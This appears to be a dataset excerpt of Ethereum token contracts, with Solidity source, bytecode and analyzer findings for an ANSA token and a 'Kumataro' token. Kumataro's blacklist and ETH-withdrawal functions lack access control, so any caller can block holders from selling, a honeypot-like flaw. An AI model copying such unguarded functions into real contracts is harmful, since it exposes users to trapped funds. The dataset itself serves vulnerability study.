* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ANSAToken is MintableToken {
string public name="ANSA TOKEN";
string public symbol="ANSA";
uint8 public decimals=18;
uint256 public tradeStartTime;
function tradeStarttime(uint256 _startTime)public onlyOwner{
tradeStartTime=_startTime.add(1 years);
}
function hasTrade() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp>tradeStartTime;
}
function transfer(address _to,uint256 _value) public{
require(hasTrade());
require(_to != address(0));
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint256 _value, bytes _data)public returns (bool success) {
require(hasTrade());
//Standard ERC23 transfer function
require(_to != address(0));
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) {
require(hasTrade());
require (_value > 0);
require(_to != address(0));
require(_from != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec578063162790551461023957806318160ddd1461029457806323b872dd146102bf5780632c735ef81461032c578063313ce5671461035757806340c10f191461038857806370a08231146103ed57806375829def146104445780637d64bcb4146104875780638da5cb5b146104b657806395d89b411461050d578063a9059cbb1461059d578063be45fd62146105ea578063c0ee0b8a14610695578063dd62ed3e146106fa578063e02d1c0e14610771578063f0d1c8ce1461079e578063f2fde38b146107cd578063f851a44014610810575b600080fd5b34801561013957600080fd5b50610142610867565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b5061017161087a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610918565b005b34801561024557600080fd5b5061027a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a4d565b604051808215151515815260200191505060405180910390f35b3480156102a057600080fd5b506102a9610a71565b6040518082815260200191505060405180910390f35b3480156102cb57600080fd5b5061032a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a77565b005b34801561033857600080fd5b50610341610e8d565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610e93565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039457600080fd5b506103d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea6565b604051808215151515815260200191505060405180910390f35b3480156103f957600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111b565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b50610485600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611164565b005b34801561049357600080fd5b5061049c611314565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb611418565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051957600080fd5b5061052261143e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610562578082015181840152602081019050610547565b50505050905090810190601f16801561058f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a957600080fd5b506105e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114dc565b005b3480156105f657600080fd5b5061067b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061155c565b604051808215151515815260200191505060405180910390f35b3480156106a157600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019082018035906020019190919293919293905050506115e2565b005b34801561070657600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e7565b6040518082815260200191505060405180910390f35b34801561077d57600080fd5b5061079c6004803603810190808035906020019092919050505061166e565b005b3480156107aa57600080fd5b506107b3611742565b604051808215151515815260200191505060405180910390f35b3480156107d957600080fd5b5061080e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174e565b005b34801561081c57600080fd5b506108256118fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600460149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109105780601f106108e557610100808354040283529160200191610910565b820191906000526020600020905b8154815290600101906020018083116108f357829003601f168201915b505050505081565b60008111151561092757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561096357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600080823b90506000811115610a665760019150610a6b565b600091505b50919050565b60005481565b610a7f611742565b1515610a8a57600080fd5b600081111515610a9957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ad557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b1157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610b5f57600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610bea57600080fd5b610c3c81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60085481565b600760009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f515750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f5c57600080fd5b600460149054906101000a900460ff16151515610f7857600080fd5b600082111515610f8757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fc357600080fd5b610fd88260005461193d90919063ffffffff16565b60008190555061103082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061120d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113bf5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113ca57600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114d45780601f106114a9576101008083540402835291602001916114d4565b820191906000526020600020905b8154815290600101906020018083116114b757829003601f168201915b505050505081565b60606114e6611742565b15156114f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561152d57600080fd5b61153683610a4d565b1561154b57611546838383611959565b611557565b611556838383611d28565b5b505050565b6000611566611742565b151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b6115b684610a4d565b156115cb576115c6848484611959565b6115d7565b6115d6848484611d28565b5b600190509392505050565b600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117175750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561172257600080fd5b6117396301e133808261193d90919063ffffffff16565b60088190555050565b60006008544211905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117f75750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561180257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561183e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115151561193257fe5b818303905092915050565b6000818301905082811015151561195057fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561199657600080fd5b6119e883600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7d83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508390508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b85578082015181840152602081019050611b6a565b50505050905090810190601f168015611bb25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611bd357600080fd5b505af1158015611be7573d6000803e3d6000fd5b505050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ce7578082015181840152602081019050611ccc565b50505050905090810190601f168015611d145780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d6457600080fd5b611db682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1684846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611f8a578082015181840152602081019050611f6f565b50505050905090810190601f168015611fb75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505600a165627a7a723058201f81d9bfc3c5ad5e16a996d4d6e4ac1cb39758c57369f51b08c26b2483a1e1440029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,129 |
0xdD1980C253EEEa7202B49678f4FF8CDc2922Fe3B
|
//SPDX-License-Identifier: MIT
/**
Kuma Taro is a community-focused, hyper deflationary token on the Ethereum Blockchain designed to constantly create buy pressure while reducing supply with the use of deflationary techniques and additional revenue generation for the ecosystem. The dynamic taxes are unique tokenomics programmed to succeed in the ERC20 space with 2% of each transaction automatically being added to the liquidity pool. Utility will always be important to KUMATARO, and that is why Kuma Taro plans to introduce multiple passive revenue avenues across the Kuma Taro ecosystem to maximize all opportunties and benefits for loyal holders.
t.me/kumataro
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Kumataro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 60000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "Kumataro";
string private constant _symbol = "KUMATARO";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 8;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(100);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}else{
require(!bots[from] && !bots[to], "This account is blacklisted");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
}
function enableTrading() external onlyOwner{
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101435760003560e01c8063715018a6116100b65780639e78fb4f1161006f5780639e78fb4f146103be578063a9059cbb146103d3578063bfd79284146103f3578063dd62ed3e14610423578063e8078d9414610469578063f8b45b051461047e57600080fd5b8063715018a6146103065780638a8c523c1461031b5780638c0b5e22146103305780638da5cb5b1461034557806395d89b411461036d5780639a024c1a1461039e57600080fd5b8063313ce56711610108578063313ce567146102235780633e7175c51461023f57806350e6a5c91461025f5780636b9990531461027f5780636fc3eaec146102bb57806370a08231146102d057600080fd5b8062b8cf2a1461014f57806306fdde0314610171578063095ea7b3146101b457806318160ddd146101e457806323b872dd1461020357600080fd5b3661014a57005b600080fd5b34801561015b57600080fd5b5061016f61016a3660046114dd565b610493565b005b34801561017d57600080fd5b506040805180820190915260088152674b756d617461726f60c01b60208201525b6040516101ab91906115a2565b60405180910390f35b3480156101c057600080fd5b506101d46101cf3660046115f7565b6104ff565b60405190151581526020016101ab565b3480156101f057600080fd5b506006545b6040519081526020016101ab565b34801561020f57600080fd5b506101d461021e366004611623565b610516565b34801561022f57600080fd5b50604051600881526020016101ab565b34801561024b57600080fd5b5061016f61025a366004611664565b61057f565b34801561026b57600080fd5b5061016f61027a366004611664565b6105c5565b34801561028b57600080fd5b5061016f61029a36600461167d565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102c757600080fd5b5061016f610602565b3480156102dc57600080fd5b506101f56102eb36600461167d565b6001600160a01b031660009081526002602052604090205490565b34801561031257600080fd5b5061016f61060f565b34801561032757600080fd5b5061016f610683565b34801561033c57600080fd5b506009546101f5565b34801561035157600080fd5b506000546040516001600160a01b0390911681526020016101ab565b34801561037957600080fd5b506040805180820190915260088152674b554d415441524f60c01b602082015261019e565b3480156103aa57600080fd5b5061016f6103b9366004611664565b6106c2565b3480156103ca57600080fd5b5061016f6106ff565b3480156103df57600080fd5b506101d46103ee3660046115f7565b610999565b3480156103ff57600080fd5b506101d461040e36600461167d565b60056020526000908152604090205460ff1681565b34801561042f57600080fd5b506101f561043e36600461169a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561047557600080fd5b5061016f6109a6565b34801561048a57600080fd5b50600a546101f5565b60005b81518110156104fb576001600560008484815181106104b7576104b76116d3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104f3816116ff565b915050610496565b5050565b600061050c338484610b05565b5060015b92915050565b6000610523848484610c29565b61057584336105708560405180606001604052806028815260200161189c602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061105f565b610b05565b5060019392505050565b6000546001600160a01b031633146105b25760405162461bcd60e51b81526004016105a990611718565b60405180910390fd5b600a5481116105c057600080fd5b600a55565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016105a990611718565b60095481116105fd57600080fd5b600955565b4761060c81611099565b50565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016105a990611718565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ad5760405162461bcd60e51b81526004016105a990611718565b600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016105a990611718565b60075481106106fa57600080fd5b600755565b6000546001600160a01b031633146107295760405162461bcd60e51b81526004016105a990611718565b600c54600160a01b900460ff16156107835760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a9565b600b546006546107a09130916001600160a01b0390911690610b05565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610817919061174d565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610879573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089d919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e919061174d565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610975573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c919061176a565b600061050c338484610c29565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016105a990611718565b600b546001600160a01b031663f305d7194730610a02816001600160a01b031660009081526002602052604090205490565b600080610a176000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a7f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa4919061178c565b5050600c805460ff60b01b1916600160b01b17905550565b6000610afe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d3565b9392505050565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a9565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60